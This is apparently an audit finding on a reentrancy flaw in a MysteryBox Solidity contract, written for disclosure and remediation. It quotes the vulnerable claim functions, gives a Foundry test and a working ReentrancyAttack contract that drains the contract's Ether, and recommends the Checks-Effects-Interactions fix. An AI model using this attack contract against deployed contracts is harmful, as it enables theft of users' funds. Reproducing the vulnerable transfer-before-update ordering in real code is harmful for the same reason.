Summary
A vulnerability was identified in the claimAllRewards and claimSingleReward functions of the MysteryBox contract. The vulnerability arises from the contract's failure to adhere to the Checks-Effects-Interactions (CEI) pattern, allowing a classic reentrancy attack to exploit the reward claiming mechanism. As a result, an attacker can drain the contract's Ether balance by repeatedly calling the claimAllRewards function before the state is updated, leading to a significant financial loss.
Vulnerability Details
the contract transfers funds to the user via a call operation before updating the state to remove the claimed rewards:
function claimAllRewards() public {
uint256 totalValue = 0;
for (uint256 i = 0; i < rewardsOwned[msg.sender].length; i++) {
totalValue += rewardsOwned[msg.sender][i].value;
}
require(totalValue > 0, "No rewards to claim");
(bool success,) = payable(msg.sender).call{value: totalValue}("");
require(success, "Transfer failed");
@> delete rewardsOwned[msg.sender];
}
function claimSingleReward(uint256 _index) public {
require(_index <= rewardsOwned[msg.sender].length, "Invalid index");
uint256 value = rewardsOwned[msg.sender][_index].value;
require(value > 0, "No reward to claim");
(bool success,) = payable(msg.sender).call{value: value}("");
require(success, "Transfer failed");
@> delete rewardsOwned[msg.sender][_index];
}
Since the state is updated only after the Ether is transferred, an attacker can reenter the contract by using the receive() or fallback() function during the call operation.
POC
Run this test:
function testReentrancyInClaimAllRewards() public {
vm.deal(owner, 0.1 ether);
vm.startPrank(owner);
mysteryBox.buyBox{value: 0.1 ether}();
mysteryBox.openBox();
vm.deal(user2, 0.1 ether);
vm.startPrank(user2);
mysteryBox.buyBox{value: 0.1 ether}();
mysteryBox.openBox();
assertEq(mysteryBox.getRewards().length, 1);
vm.startPrank(user1);
vm.deal(user1, 0.1 ether);
console2.log("mysteryBox balance before: ", address(mysteryBox).balance);
console2.log("reentrancyAttack balance before: ", address(reentrancyAttack).balance);
vm.warp(block.timestamp + 12);
reentrancyAttack.attack{value: 0.1 ether}();
console2.log("mysteryBox balance after: ", address(mysteryBox).balance);
console2.log("reentrancyAttack balance after: ", address(reentrancyAttack).balance);
}
contract ReentrancyAttack {
MysteryBox mysteryBox;
constructor(address _mysteryBox) {
mysteryBox = MysteryBox(_mysteryBox);
}
function attack() external payable {
mysteryBox.buyBox{value: 0.1 ether}();
mysteryBox.openBox();
mysteryBox.claimAllRewards();
}
receive() external payable {
if (address(mysteryBox).balance > 0) {
mysteryBox.claimAllRewards();
}
}
}
Logs:
mysteryBox balance before: 300000000000000000 (0.3 ether)
reentrancyAttack balance before: 0
mysteryBox balance after: 0
reentrancyAttack balance after: 400000000000000000 (0.4 ether)
Impact
The attacker can continuously reenter the claimAllRewards() function, draining all the Ether held by the MysteryBox contract.
Tools Used
Manual review
Foundry
Recommendations
Follow the CEI pattern or use reentrancy guards
function claimAllRewards() public {
uint256 totalValue = 0;
for (uint256 i = 0; i < rewardsOwned[msg.sender].length; i++) {
totalValue += rewardsOwned[msg.sender][i].value;
}
require(totalValue > 0, "No rewards to claim");
+ delete rewardsOwned[msg.sender];
(bool success,) = payable(msg.sender).call{value: totalValue}("");
require(success, "Transfer failed");
- delete rewardsOwned[msg.sender];
}
function claimSingleReward(uint256 _index) public {
require(_index <= rewardsOwned[msg.sender].length, "Invalid index");
uint256 value = rewardsOwned[msg.sender][_index].value;
require(value > 0, "No reward to claim");
+ delete rewardsOwned[msg.sender][_index];
(bool success,) = payable(msg.sender).call{value: value}("");
require(success, "Transfer failed");
- delete rewardsOwned[msg.sender][_index];
}
